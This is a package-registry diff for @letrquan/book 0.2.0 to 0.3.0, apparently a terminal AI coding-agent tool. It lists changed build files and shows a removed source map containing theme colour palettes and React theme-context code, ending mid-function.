@letrquan/book 0.2.0 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +2747 -40
- package/README.md +132 -1311
- package/dist/additional-roots-H7UNAEHS.js +31 -0
- package/dist/{app-MOXXWEOY.js → app-GE4OHJOC.js} +5740 -4045
- package/dist/app-GE4OHJOC.js.map +1 -0
- package/dist/{chunk-5GDZ22YP.js → chunk-224FJZLH.js} +99 -108
- package/dist/chunk-224FJZLH.js.map +1 -0
- package/dist/chunk-2AAOF5B5.js +28 -0
- package/dist/chunk-2AAOF5B5.js.map +1 -0
- package/dist/{chunk-CAGOB2N4.js → chunk-4AS7LKKQ.js} +6 -4
- package/dist/chunk-4AS7LKKQ.js.map +1 -0
- package/dist/chunk-525CAZPY.js +120 -0
- package/dist/chunk-525CAZPY.js.map +1 -0
- package/dist/{chunk-URLQAXTR.js → chunk-56SIEMDX.js} +2 -2
- package/dist/chunk-56SIEMDX.js.map +1 -0
- package/dist/{chunk-XIFFTATU.js → chunk-5YHTKWJN.js} +5420 -4031
- package/dist/chunk-5YHTKWJN.js.map +1 -0
- package/dist/chunk-62QL5QUP.js +283 -0
- package/dist/chunk-62QL5QUP.js.map +1 -0
- package/dist/{chunk-KWHQ2XXL.js → chunk-67UZEWWF.js} +3 -3
- package/dist/chunk-67UZEWWF.js.map +1 -0
- package/dist/chunk-6OQQOMZR.js +785 -0
- package/dist/chunk-6OQQOMZR.js.map +1 -0
- package/dist/{chunk-GTVB4HEM.js → chunk-AQEQX4FF.js} +344 -315
- package/dist/chunk-AQEQX4FF.js.map +1 -0
- package/dist/chunk-C7ADUNPR.js +273 -0
- package/dist/chunk-C7ADUNPR.js.map +1 -0
- package/dist/{chunk-E75IPST5.js → chunk-EFJ2NH6E.js} +12 -58
- package/dist/chunk-EFJ2NH6E.js.map +1 -0
- package/dist/{chunk-5KLVH3PY.js → chunk-HQI7NYGX.js} +5 -3
- package/dist/chunk-HQI7NYGX.js.map +1 -0
- package/dist/chunk-IME7R2UI.js +6541 -0
- package/dist/chunk-IME7R2UI.js.map +1 -0
- package/dist/chunk-J4F2QLM2.js +273 -0
- package/dist/chunk-J4F2QLM2.js.map +1 -0
- package/dist/{chunk-MAQXCUR4.js → chunk-J62VZYOB.js} +444 -112
- package/dist/chunk-J62VZYOB.js.map +1 -0
- package/dist/chunk-JTPOI3KU.js +826 -0
- package/dist/chunk-JTPOI3KU.js.map +1 -0
- package/dist/{chunk-WKBO5R4O.js → chunk-KBQS35OV.js} +2 -2
- package/dist/chunk-KBQS35OV.js.map +1 -0
- package/dist/chunk-KXAYUIKP.js +90 -0
- package/dist/chunk-KXAYUIKP.js.map +1 -0
- package/dist/{chunk-VZQXX3WW.js → chunk-QYBD22H5.js} +1 -1
- package/dist/chunk-QYBD22H5.js.map +1 -0
- package/dist/{chunk-V4BOYR52.js → chunk-RFJ6Q6LE.js} +763 -198
- package/dist/chunk-RFJ6Q6LE.js.map +1 -0
- package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
- package/dist/chunk-RT5SATF7.js.map +1 -0
- package/dist/{chunk-C7D4NJ2D.js → chunk-S4JMID4G.js} +68 -26
- package/dist/chunk-S4JMID4G.js.map +1 -0
- package/dist/{chunk-ANSJPYGI.js → chunk-SOW4WRQP.js} +3 -3
- package/dist/chunk-SOW4WRQP.js.map +1 -0
- package/dist/{chunk-J7MIZ5CA.js → chunk-TLX3H2CL.js} +518 -79
- package/dist/chunk-TLX3H2CL.js.map +1 -0
- package/dist/{chunk-DGMQEI6Y.js → chunk-VPNLCMVR.js} +22 -9
- package/dist/chunk-VPNLCMVR.js.map +1 -0
- package/dist/{chunk-BTZZUCLI.js → chunk-W3XFHEF4.js} +173 -29
- package/dist/chunk-W3XFHEF4.js.map +1 -0
- package/dist/{chunk-574C6MQR.js → chunk-X4NJT436.js} +130 -60
- package/dist/chunk-X4NJT436.js.map +1 -0
- package/dist/chunk-X66I2NQO.js +137 -0
- package/dist/chunk-X66I2NQO.js.map +1 -0
- package/dist/chunk-XHAO3K7I.js +18 -0
- package/dist/chunk-XHAO3K7I.js.map +1 -0
- package/dist/{chunk-3U5IBM24.js → chunk-Y2VHN7TC.js} +2 -2
- package/dist/chunk-Y2VHN7TC.js.map +1 -0
- package/dist/chunk-YC6W4EJH.js +947 -0
- package/dist/chunk-YC6W4EJH.js.map +1 -0
- package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
- package/dist/chunk-ZPSZZUWF.js.map +1 -0
- package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-VBIU6BLM.js} +6 -5
- package/dist/context-CBOBDY5Q.js +38 -0
- package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-ZVT4V7IM.js} +5 -5
- package/dist/index.js +996 -155
- package/dist/index.js.map +1 -1
- package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-T4I4SEHU.js} +13 -9
- package/dist/interactive-assets-T4I4SEHU.js.map +1 -0
- package/dist/job-runner.js +159 -111
- package/dist/job-runner.js.map +1 -1
- package/dist/job-supervisor.d.ts +2 -0
- package/dist/job-supervisor.js +112 -0
- package/dist/job-supervisor.js.map +1 -0
- package/dist/loader-S77OVTHH.js +18 -0
- package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-HJ2VDYMC.js} +5 -5
- package/dist/{mcp-config-YIJIES2C.js → mcp-config-RNB5LEVE.js} +3 -3
- package/dist/memory-store-DZUT5HUH.js +75 -0
- package/dist/{model-window-store-YFVNXCIP.js → model-window-store-MTSQ5JDJ.js} +8 -4
- package/dist/openai-compatible-2OB54YST.js +14 -0
- package/dist/{permission-approvals-76PVREFD.js → permission-approvals-YLV6UC5W.js} +5 -5
- package/dist/permissions-DHOKF3W2.js +45 -0
- package/dist/sandbox-WRYTZH3D.js +41 -0
- package/dist/{scrollback-LUKLIBVI.js → scrollback-35ME2GFX.js} +32 -22
- package/dist/scrollback-35ME2GFX.js.map +1 -0
- package/dist/sdk.d.ts +2219 -2361
- package/dist/sdk.js +53 -38
- package/dist/sdk.js.map +1 -1
- package/dist/settings-loader-JUNPGAAM.js +35 -0
- package/dist/settings-loader-JUNPGAAM.js.map +1 -0
- package/dist/{shell-selection-V6QAYXPX.js → shell-selection-CDHGJ4GC.js} +2 -2
- package/dist/shell-selection-CDHGJ4GC.js.map +1 -0
- package/package.json +23 -22
- package/dist/app-MOXXWEOY.js.map +0 -1
- package/dist/chunk-24AXE6SP.js.map +0 -1
- package/dist/chunk-3U5IBM24.js.map +0 -1
- package/dist/chunk-574C6MQR.js.map +0 -1
- package/dist/chunk-5GDZ22YP.js.map +0 -1
- package/dist/chunk-5KLVH3PY.js.map +0 -1
- package/dist/chunk-7N4J557C.js.map +0 -1
- package/dist/chunk-A7JLBK2Y.js +0 -3506
- package/dist/chunk-A7JLBK2Y.js.map +0 -1
- package/dist/chunk-ANSJPYGI.js.map +0 -1
- package/dist/chunk-BTZZUCLI.js.map +0 -1
- package/dist/chunk-C7D4NJ2D.js.map +0 -1
- package/dist/chunk-CAGOB2N4.js.map +0 -1
- package/dist/chunk-DGMQEI6Y.js.map +0 -1
- package/dist/chunk-E75IPST5.js.map +0 -1
- package/dist/chunk-EYGD6X2T.js +0 -180
- package/dist/chunk-EYGD6X2T.js.map +0 -1
- package/dist/chunk-GTVB4HEM.js.map +0 -1
- package/dist/chunk-J7MIZ5CA.js.map +0 -1
- package/dist/chunk-KWHQ2XXL.js.map +0 -1
- package/dist/chunk-L6LK2QIQ.js +0 -657
- package/dist/chunk-L6LK2QIQ.js.map +0 -1
- package/dist/chunk-MAQXCUR4.js.map +0 -1
- package/dist/chunk-S4XL7HOM.js +0 -402
- package/dist/chunk-S4XL7HOM.js.map +0 -1
- package/dist/chunk-URLQAXTR.js.map +0 -1
- package/dist/chunk-V4BOYR52.js.map +0 -1
- package/dist/chunk-VZQXX3WW.js.map +0 -1
- package/dist/chunk-WKBO5R4O.js.map +0 -1
- package/dist/chunk-XIFFTATU.js.map +0 -1
- package/dist/context-ZC5IFEAX.js +0 -25
- package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
- package/dist/loader-4IDS2RIE.js +0 -15
- package/dist/openai-compatible-RHZUBHV6.js +0 -10
- package/dist/permissions-CHCKTFQQ.js +0 -28
- package/dist/sandbox-CNVAQDA7.js +0 -23
- package/dist/scrollback-LUKLIBVI.js.map +0 -1
- package/dist/settings-loader-M2QP5TX2.js +0 -21
- package/patches/ink+6.8.0.patch +0 -13
- package/scripts/apply-ink-patch.mjs +0 -29
- package/scripts/ink-patch.mjs +0 -59
- package/scripts/verify-ink-patch.mjs +0 -11
- /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-H7UNAEHS.js.map} +0 -0
- /package/dist/{context-ZC5IFEAX.js.map → command-approvals-VBIU6BLM.js.map} +0 -0
- /package/dist/{hook-approvals-CTUFKEJT.js.map → context-CBOBDY5Q.js.map} +0 -0
- /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-ZVT4V7IM.js.map} +0 -0
- /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-S77OVTHH.js.map} +0 -0
- /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-HJ2VDYMC.js.map} +0 -0
- /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-RNB5LEVE.js.map} +0 -0
- /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-DZUT5HUH.js.map} +0 -0
- /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-MTSQ5JDJ.js.map} +0 -0
- /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-2OB54YST.js.map} +0 -0
- /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-YLV6UC5W.js.map} +0 -0
- /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-DHOKF3W2.js.map} +0 -0
- /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-WRYTZH3D.js.map} +0 -0
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/tui/theme.ts","../src/types/theme.ts"],"sourcesContent":["import { createContext, useContext } from 'react';\r\nimport type { ThemeTokens } from '../types/theme.js';\r\nimport { DEFAULT_THEME } from '../types/theme.js';\r\nimport { readFileSync, existsSync, readdirSync } from 'fs';\r\nimport { join } from 'path';\r\n\r\n/** Quiet editorial dark theme. This is the same as DEFAULT_THEME. */\r\nexport const DARK_THEME: ThemeTokens = { ...DEFAULT_THEME };\r\n\r\n/**\r\n * Apple-inspired default palette: near-black neutral surfaces, bright grey\r\n * text, and one blue action accent. Every other hue is a system colour that\r\n * appears only when a state needs attention, so ordinary chrome never competes\r\n * with the work.\r\n *\r\n * Roles stay distinct, as in the editorial palettes: blue is the user and the\r\n * composer (the things you act on), cyan is the agent speaking, indigo is\r\n * product chrome, teal carries references, and the orange/red/green trio is\r\n * status. A token that reuses another role's hue makes the two indistinguishable\r\n * on screen, which is exactly what the calm palette exists to avoid.\r\n */\r\nexport const APPLE_THEME: ThemeTokens = {\r\n ...DEFAULT_THEME,\r\n brand: '#5E5CE6',\r\n brandShimmer: '#8E8CFF',\r\n\r\n text: '#F5F5F7',\r\n inverseText: '#111113',\r\n inactive: '#6E6E73',\r\n subtle: '#98989D',\r\n suggestion: '#8E8E93',\r\n permission: '#FF9F0A',\r\n remember: '#BF5AF2',\r\n\r\n surface: '#1C1C1E',\r\n surfaceActive: '#2C2C2E',\r\n border: '#3A3A3C',\r\n selectionText: '#FFFFFF',\r\n userAccent: '#0A84FF',\r\n assistantAccent: '#64D2FF',\r\n toolRail: '#636366',\r\n\r\n success: '#30D158',\r\n error: '#FF453A',\r\n warning: '#FF9F0A',\r\n merged: '#66D4CF',\r\n\r\n promptBorder: '#0A84FF',\r\n planMode: '#BF5AF2',\r\n autoAccept: '#30D158',\r\n bashBorder: '#FF9F0A',\r\n\r\n // `default` is the quiet mode: neutral grey, so an ordinary session carries\r\n // no permission-mode signal at all.\r\n modeDefault: '#98989D',\r\n modePlan: '#BF5AF2',\r\n modeAcceptEdits: '#30D158',\r\n modeAuto: '#66D4CF',\r\n modeDontAsk: '#FF453A',\r\n modeBypass: '#FF9F0A',\r\n\r\n diffAdded: '#173A28',\r\n diffRemoved: '#3A1E22',\r\n diffAddedWord: '#24633D',\r\n diffRemovedWord: '#6B2932',\r\n diffAddedDimmed: '#122B1E',\r\n diffRemovedDimmed: '#2B181C',\r\n\r\n usageMeter: '#66D4CF',\r\n usageMeterHigh: '#FF9F0A',\r\n usageMeterCritical: '#FF453A',\r\n\r\n // The spinner is the agent speaking, so it keeps the cyan identity.\r\n shimmerPair: ['#64D2FF', '#A5E3FF'],\r\n\r\n subagentColors: [\r\n '#FF453A',\r\n '#FF9F0A',\r\n '#FFD60A',\r\n '#30D158',\r\n '#64D2FF',\r\n '#0A84FF',\r\n '#BF5AF2',\r\n '#5E5CE6',\r\n ],\r\n\r\n mdCodeBackground: '#161618',\r\n mdCodeBorder: '#3A3A3C',\r\n mdCodeText: '#F5F5F7',\r\n mdCodeKeyword: '#BF5AF2',\r\n mdCodeString: '#30D158',\r\n mdCodeComment: '#6E6E73',\r\n mdCodeNumber: '#FF9F0A',\r\n mdCodeFunction: '#64D2FF',\r\n mdCodeLineNumber: '#636366',\r\n mdInlineCodeBg: '#2C2C2E',\r\n mdInlineCodeText: '#66D4CF',\r\n // Three distinct brightness steps, none at `text`, so heading depth stays\r\n // legible without markers.\r\n mdHeadingH1: '#FFFFFF',\r\n mdHeadingH2: '#E5E5EA',\r\n mdHeading: '#AEAEB2',\r\n mdBlockquoteBorder: '#636366',\r\n mdBlockquoteText: '#98989D',\r\n mdLink: '#66D4CF',\r\n mdListMarker: '#0A84FF',\r\n mdHr: '#3A3A3C',\r\n mdTableBorder: '#3A3A3C',\r\n mdThinkBg: '#161618',\r\n mdThinkBorder: '#3A3A3C',\r\n mdThinkText: '#8E8E93',\r\n mdTurnSeparator: '#3A3A3C',\r\n mdCheckboxChecked: '#30D158',\r\n mdCheckboxUnchecked: '#6E6E73',\r\n\r\n userBg: '#202022',\r\n};\r\n\r\n/** Matched editorial palette for terminals with light backgrounds. */\r\n/**\r\n * Warm editorial light palette. Mirrors DEFAULT_THEME role for role: the same\r\n * seven hues, darkened for a light background.\r\n */\r\nexport const LIGHT_THEME: ThemeTokens = {\r\n ...DEFAULT_THEME,\r\n brand: '#A45F48',\r\n brandShimmer: '#B87458',\r\n\r\n text: '#302E2A',\r\n inverseText: '#FBF7EE',\r\n inactive: '#928A7E',\r\n subtle: '#746F66',\r\n suggestion: '#8A8378',\r\n permission: '#94662B',\r\n remember: '#805F6E',\r\n\r\n surface: '#EEE8DC',\r\n surfaceActive: '#DDE6D6',\r\n border: '#C9C1B3',\r\n selectionText: '#293126',\r\n userAccent: '#A45F48',\r\n assistantAccent: '#607257',\r\n toolRail: '#A79F91',\r\n\r\n success: '#4F7746',\r\n error: '#A54F44',\r\n warning: '#94662B',\r\n merged: '#4F7B71',\r\n\r\n promptBorder: '#7C8A76',\r\n planMode: '#805F6E',\r\n autoAccept: '#4F7746',\r\n bashBorder: '#94662B',\r\n\r\n modeDefault: '#7C8A76',\r\n modePlan: '#805F6E',\r\n modeAcceptEdits: '#4F7746',\r\n modeAuto: '#4F7B71',\r\n modeDontAsk: '#A54F44',\r\n modeBypass: '#94662B',\r\n\r\n usageMeter: '#4F7B71',\r\n usageMeterHigh: '#94662B',\r\n usageMeterCritical: '#A54F44',\r\n\r\n diffAdded: '#DFECDC',\r\n diffRemoved: '#F1DDDA',\r\n diffAddedWord: '#BFD8BD',\r\n diffRemovedWord: '#E6BFBA',\r\n diffAddedDimmed: '#EAF3E9',\r\n diffRemovedDimmed: '#F7E9E7',\r\n\r\n shimmerPair: ['#607257', '#75886A'],\r\n subagentColors: [\r\n '#A54F44',\r\n '#4F7B71',\r\n '#4F7746',\r\n '#94662B',\r\n '#805F6E',\r\n '#A45F48',\r\n '#8D6277',\r\n '#607257',\r\n ],\r\n\r\n mdCodeBackground: '#E7E2D8',\r\n mdCodeBorder: '#CFC7B9',\r\n mdCodeText: '#302E2A',\r\n mdCodeKeyword: '#805F6E',\r\n mdCodeString: '#4F7746',\r\n mdCodeComment: '#8A8378',\r\n mdCodeNumber: '#94662B',\r\n mdCodeFunction: '#4F7B71',\r\n mdCodeLineNumber: '#A79F91',\r\n mdInlineCodeBg: '#E4DED2',\r\n mdInlineCodeText: '#A45F48',\r\n mdHeadingH1: '#14130F',\r\n mdHeadingH2: '#23211D',\r\n mdHeading: '#5F5B51',\r\n mdBlockquoteBorder: '#A79F91',\r\n mdBlockquoteText: '#746F66',\r\n mdLink: '#4F7B71',\r\n mdListMarker: '#7C8A76',\r\n mdHr: '#CFC7B9',\r\n mdTableBorder: '#CFC7B9',\r\n mdThinkBg: '#EEE8DC',\r\n mdThinkBorder: '#CFC7B9',\r\n mdThinkText: '#746F66',\r\n mdTurnSeparator: '#C9C1B3',\r\n mdCheckboxChecked: '#4F7746',\r\n mdCheckboxUnchecked: '#928A7E',\r\n\r\n userBg: '#F3E7DE',\r\n};\r\n\r\n/**\r\n * Soothing pastel dark palette based on Catppuccin Mocha.\r\n * Medium contrast, soft pastels, reduced eye fatigue.\r\n */\r\nexport const CATPPUCCIN_THEME: ThemeTokens = {\r\n ...DEFAULT_THEME,\r\n brand: '#CBA6F7',\r\n brandShimmer: '#F5C2E7',\r\n\r\n text: '#CDD6F4',\r\n inverseText: '#11111B',\r\n inactive: '#6C7086',\r\n subtle: '#A6ADC8',\r\n suggestion: '#7F849C',\r\n permission: '#F9E2AF',\r\n remember: '#F5C2E7',\r\n\r\n surface: '#1E1E2E',\r\n surfaceActive: '#313244',\r\n border: '#45475A',\r\n selectionText: '#F5E0DC',\r\n userAccent: '#89B4FA',\r\n assistantAccent: '#B4BEFE',\r\n toolRail: '#585B70',\r\n\r\n success: '#A6E3A1',\r\n error: '#F38BA8',\r\n warning: '#F9E2AF',\r\n merged: '#94E2D5',\r\n\r\n promptBorder: '#89B4FA',\r\n planMode: '#F5C2E7',\r\n autoAccept: '#A6E3A1',\r\n bashBorder: '#FAB387',\r\n\r\n modeDefault: '#89B4FA',\r\n modePlan: '#F5C2E7',\r\n modeAcceptEdits: '#A6E3A1',\r\n modeAuto: '#94E2D5',\r\n modeDontAsk: '#F38BA8',\r\n modeBypass: '#FAB387',\r\n\r\n diffAdded: '#23342E',\r\n diffRemoved: '#3B2430',\r\n diffAddedWord: '#315444',\r\n diffRemovedWord: '#5C2C40',\r\n diffAddedDimmed: '#1B2A24',\r\n diffRemovedDimmed: '#2D1D26',\r\n\r\n usageMeter: '#94E2D5',\r\n usageMeterHigh: '#FAB387',\r\n usageMeterCritical: '#F38BA8',\r\n\r\n shimmerPair: ['#B4BEFE', '#C7CEFF'],\r\n subagentColors: [\r\n '#F38BA8',\r\n '#FAB387',\r\n '#F9E2AF',\r\n '#A6E3A1',\r\n '#94E2D5',\r\n '#89B4FA',\r\n '#CBA6F7',\r\n '#F5C2E7',\r\n ],\r\n\r\n mdCodeBackground: '#181825',\r\n mdCodeBorder: '#313244',\r\n mdCodeText: '#CDD6F4',\r\n mdCodeKeyword: '#CBA6F7',\r\n mdCodeString: '#A6E3A1',\r\n mdCodeComment: '#6C7086',\r\n mdCodeNumber: '#FAB387',\r\n mdCodeFunction: '#89B4FA',\r\n mdCodeLineNumber: '#585B70',\r\n mdInlineCodeBg: '#313244',\r\n mdInlineCodeText: '#F5C2E7',\r\n mdHeadingH1: '#F5E0DC',\r\n mdHeadingH2: '#BAC2DE',\r\n mdHeading: '#A6ADC8',\r\n mdBlockquoteBorder: '#585B70',\r\n mdBlockquoteText: '#A6ADC8',\r\n mdLink: '#89DCEB',\r\n mdListMarker: '#89B4FA',\r\n mdHr: '#45475A',\r\n mdTableBorder: '#45475A',\r\n mdThinkBg: '#181825',\r\n mdThinkBorder: '#313244',\r\n mdThinkText: '#7F849C',\r\n mdTurnSeparator: '#45475A',\r\n mdCheckboxChecked: '#A6E3A1',\r\n mdCheckboxUnchecked: '#6C7086',\r\n\r\n userBg: '#24273A',\r\n};\r\n\r\n/**\r\n * Arctic and glacial slate palette based on Nord.\r\n * Low blue-light glare, tranquil cool tones.\r\n */\r\nexport const NORD_THEME: ThemeTokens = {\r\n ...DEFAULT_THEME,\r\n brand: '#88C0D0',\r\n brandShimmer: '#8FBCBB',\r\n\r\n text: '#D8DEE9',\r\n inverseText: '#2E3440',\r\n inactive: '#4C566A',\r\n subtle: '#9AA7BC',\r\n suggestion: '#616E88',\r\n permission: '#EBCB8B',\r\n remember: '#B48EAD',\r\n\r\n surface: '#2E3440',\r\n surfaceActive: '#3B4252',\r\n border: '#434C5E',\r\n selectionText: '#ECEFF4',\r\n userAccent: '#81A1C1',\r\n assistantAccent: '#8FBCBB',\r\n toolRail: '#4C566A',\r\n\r\n success: '#A3BE8C',\r\n error: '#BF616A',\r\n warning: '#EBCB8B',\r\n merged: '#88C0D0',\r\n\r\n promptBorder: '#81A1C1',\r\n planMode: '#B48EAD',\r\n autoAccept: '#A3BE8C',\r\n bashBorder: '#D08770',\r\n\r\n modeDefault: '#5E81AC',\r\n modePlan: '#B48EAD',\r\n modeAcceptEdits: '#A3BE8C',\r\n modeAuto: '#8FBCBB',\r\n modeDontAsk: '#BF616A',\r\n modeBypass: '#D08770',\r\n\r\n diffAdded: '#2A3B35',\r\n diffRemoved: '#3D2930',\r\n diffAddedWord: '#385648',\r\n diffRemovedWord: '#5E353F',\r\n diffAddedDimmed: '#23302B',\r\n diffRemovedDimmed: '#312127',\r\n\r\n usageMeter: '#81A1C1',\r\n usageMeterHigh: '#EBCB8B',\r\n usageMeterCritical: '#BF616A',\r\n\r\n shimmerPair: ['#8FBCBB', '#A3CECD'],\r\n subagentColors: [\r\n '#BF616A',\r\n '#D08770',\r\n '#EBCB8B',\r\n '#A3BE8C',\r\n '#8FBCBB',\r\n '#88C0D0',\r\n '#81A1C1',\r\n '#B48EAD',\r\n ],\r\n\r\n mdCodeBackground: '#242933',\r\n mdCodeBorder: '#3B4252',\r\n mdCodeText: '#D8DEE9',\r\n mdCodeKeyword: '#81A1C1',\r\n mdCodeString: '#A3BE8C',\r\n mdCodeComment: '#616E88',\r\n mdCodeNumber: '#B48EAD',\r\n mdCodeFunction: '#88C0D0',\r\n mdCodeLineNumber: '#4C566A',\r\n mdInlineCodeBg: '#3B4252',\r\n mdInlineCodeText: '#88C0D0',\r\n mdHeadingH1: '#ECEFF4',\r\n mdHeadingH2: '#E5E9F0',\r\n mdHeading: '#9AA7BC',\r\n mdBlockquoteBorder: '#4C566A',\r\n mdBlockquoteText: '#9AA7BC',\r\n mdLink: '#81A1C1',\r\n mdListMarker: '#88C0D0',\r\n mdHr: '#434C5E',\r\n mdTableBorder: '#434C5E',\r\n mdThinkBg: '#242933',\r\n mdThinkBorder: '#3B4252',\r\n mdThinkText: '#616E88',\r\n mdTurnSeparator: '#434C5E',\r\n mdCheckboxChecked: '#A3BE8C',\r\n mdCheckboxUnchecked: '#4C566A',\r\n\r\n userBg: '#353C4A',\r\n};\r\n\r\n/**\r\n * Warm earthy dark palette based on Gruvbox Dark.\r\n * Reduced blue light, high legibility, warm tones.\r\n */\r\nexport const GRUVBOX_THEME: ThemeTokens = {\r\n ...DEFAULT_THEME,\r\n brand: '#FE8019',\r\n brandShimmer: '#FABD2F',\r\n\r\n text: '#EBDBB2',\r\n inverseText: '#282828',\r\n inactive: '#7C6F64',\r\n subtle: '#A89984',\r\n suggestion: '#928374',\r\n permission: '#FABD2F',\r\n remember: '#D3869B',\r\n\r\n surface: '#282828',\r\n surfaceActive: '#3C3836',\r\n border: '#504945',\r\n selectionText: '#FBF1C7',\r\n userAccent: '#FE8019',\r\n assistantAccent: '#8EC07C',\r\n toolRail: '#665C54',\r\n\r\n success: '#B8BB26',\r\n error: '#FB4934',\r\n warning: '#FABD2F',\r\n merged: '#83A598',\r\n\r\n promptBorder: '#83A598',\r\n planMode: '#D3869B',\r\n autoAccept: '#B8BB26',\r\n bashBorder: '#FABD2F',\r\n\r\n modeDefault: '#689D6A',\r\n modePlan: '#D3869B',\r\n modeAcceptEdits: '#B8BB26',\r\n modeAuto: '#8EC07C',\r\n modeDontAsk: '#FB4934',\r\n modeBypass: '#FE8019',\r\n\r\n diffAdded: '#2B3322',\r\n diffRemoved: '#3B2320',\r\n diffAddedWord: '#3E522C',\r\n diffRemovedWord: '#5C2B25',\r\n diffAddedDimmed: '#23291C',\r\n diffRemovedDimmed: '#2E1C1A',\r\n\r\n usageMeter: '#83A598',\r\n usageMeterHigh: '#FABD2F',\r\n usageMeterCritical: '#FB4934',\r\n\r\n shimmerPair: ['#8EC07C', '#B8BB26'],\r\n subagentColors: [\r\n '#FB4934',\r\n '#FE8019',\r\n '#FABD2F',\r\n '#B8BB26',\r\n '#8EC07C',\r\n '#83A598',\r\n '#D3869B',\r\n '#D5C4A1',\r\n ],\r\n\r\n mdCodeBackground: '#1D2021',\r\n mdCodeBorder: '#3C3836',\r\n mdCodeText: '#EBDBB2',\r\n mdCodeKeyword: '#FB4934',\r\n mdCodeString: '#B8BB26',\r\n mdCodeComment: '#928374',\r\n mdCodeNumber: '#D3869B',\r\n mdCodeFunction: '#8EC07C',\r\n mdCodeLineNumber: '#665C54',\r\n mdInlineCodeBg: '#3C3836',\r\n mdInlineCodeText: '#FE8019',\r\n mdHeadingH1: '#FBF1C7',\r\n mdHeadingH2: '#F2E5BC',\r\n mdHeading: '#D5C4A1',\r\n mdBlockquoteBorder: '#665C54',\r\n mdBlockquoteText: '#A89984',\r\n mdLink: '#83A598',\r\n mdListMarker: '#FE8019',\r\n mdHr: '#504945',\r\n mdTableBorder: '#504945',\r\n mdThinkBg: '#1D2021',\r\n mdThinkBorder: '#3C3836',\r\n mdThinkText: '#928374',\r\n mdTurnSeparator: '#504945',\r\n mdCheckboxChecked: '#B8BB26',\r\n mdCheckboxUnchecked: '#7C6F64',\r\n\r\n userBg: '#32302F',\r\n};\r\n\r\n/**\r\n * Scientifically tuned low-contrast dark palette based on Solarized Dark.\r\n * Engineered Lab color space contrast for zero eye fatigue.\r\n */\r\nexport const SOLARIZED_DARK_THEME: ThemeTokens = {\r\n ...DEFAULT_THEME,\r\n brand: '#268BD2',\r\n brandShimmer: '#2AA198',\r\n\r\n text: '#839496',\r\n inverseText: '#002B36',\r\n inactive: '#586E75',\r\n subtle: '#657B83',\r\n suggestion: '#586E75',\r\n permission: '#B58900',\r\n remember: '#D33682',\r\n\r\n surface: '#002B36',\r\n surfaceActive: '#073642',\r\n border: '#0E4B5B',\r\n selectionText: '#FDF6E3',\r\n userAccent: '#268BD2',\r\n assistantAccent: '#2AA198',\r\n toolRail: '#586E75',\r\n\r\n success: '#859900',\r\n error: '#DC322F',\r\n warning: '#B58900',\r\n merged: '#2AA198',\r\n\r\n promptBorder: '#268BD2',\r\n planMode: '#D33682',\r\n autoAccept: '#859900',\r\n bashBorder: '#CB4B16',\r\n\r\n modeDefault: '#586E75',\r\n modePlan: '#D33682',\r\n modeAcceptEdits: '#859900',\r\n modeAuto: '#2AA198',\r\n modeDontAsk: '#DC322F',\r\n modeBypass: '#CB4B16',\r\n\r\n diffAdded: '#0A3326',\r\n diffRemoved: '#36191E',\r\n diffAddedWord: '#134F3A',\r\n diffRemovedWord: '#54222A',\r\n diffAddedDimmed: '#08291F',\r\n diffRemovedDimmed: '#2B1418',\r\n\r\n usageMeter: '#2AA198',\r\n usageMeterHigh: '#B58900',\r\n usageMeterCritical: '#DC322F',\r\n\r\n shimmerPair: ['#2AA198', '#859900'],\r\n subagentColors: [\r\n '#DC322F',\r\n '#CB4B16',\r\n '#B58900',\r\n '#859900',\r\n '#2AA198',\r\n '#268BD2',\r\n '#6C71C4',\r\n '#D33682',\r\n ],\r\n\r\n mdCodeBackground: '#00212B',\r\n mdCodeBorder: '#073642',\r\n mdCodeText: '#839496',\r\n mdCodeKeyword: '#859900',\r\n mdCodeString: '#2AA198',\r\n mdCodeComment: '#586E75',\r\n mdCodeNumber: '#D33682',\r\n mdCodeFunction: '#268BD2',\r\n mdCodeLineNumber: '#586E75',\r\n mdInlineCodeBg: '#073642',\r\n mdInlineCodeText: '#2AA198',\r\n mdHeadingH1: '#FDF6E3',\r\n mdHeadingH2: '#EEE8D5',\r\n mdHeading: '#93A1A1',\r\n mdBlockquoteBorder: '#586E75',\r\n mdBlockquoteText: '#657B83',\r\n mdLink: '#6C71C4',\r\n mdListMarker: '#2AA198',\r\n mdHr: '#073642',\r\n mdTableBorder: '#073642',\r\n mdThinkBg: '#00212B',\r\n mdThinkBorder: '#073642',\r\n mdThinkText: '#586E75',\r\n mdTurnSeparator: '#073642',\r\n mdCheckboxChecked: '#859900',\r\n mdCheckboxUnchecked: '#586E75',\r\n\r\n userBg: '#073642',\r\n};\r\n\r\nexport interface ResolvedTheme {\r\n preference: string;\r\n resolvedName: string;\r\n tokens: ThemeTokens;\r\n}\r\n\r\nconst CUSTOM_THEME_NAME = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\r\n\r\n/**\r\n * React context for theme tokens.\r\n * Components that render colors read from this instead of hardcoded strings,\r\n * so custom themes can override the palette globally.\r\n */\r\nexport const ThemeContext = createContext<ThemeTokens>(DEFAULT_THEME);\r\n\r\n/**\r\n * Hook to access the current theme tokens.\r\n */\r\nexport function useTheme(): ThemeTokens {\r\n return useContext(ThemeContext);\r\n}\r\n\r\n/** Detect whether COLORFGBG reports a light terminal background. */\r\nexport function hasLightTerminalBackground(colorFgBg = process.env.COLORFGBG ?? 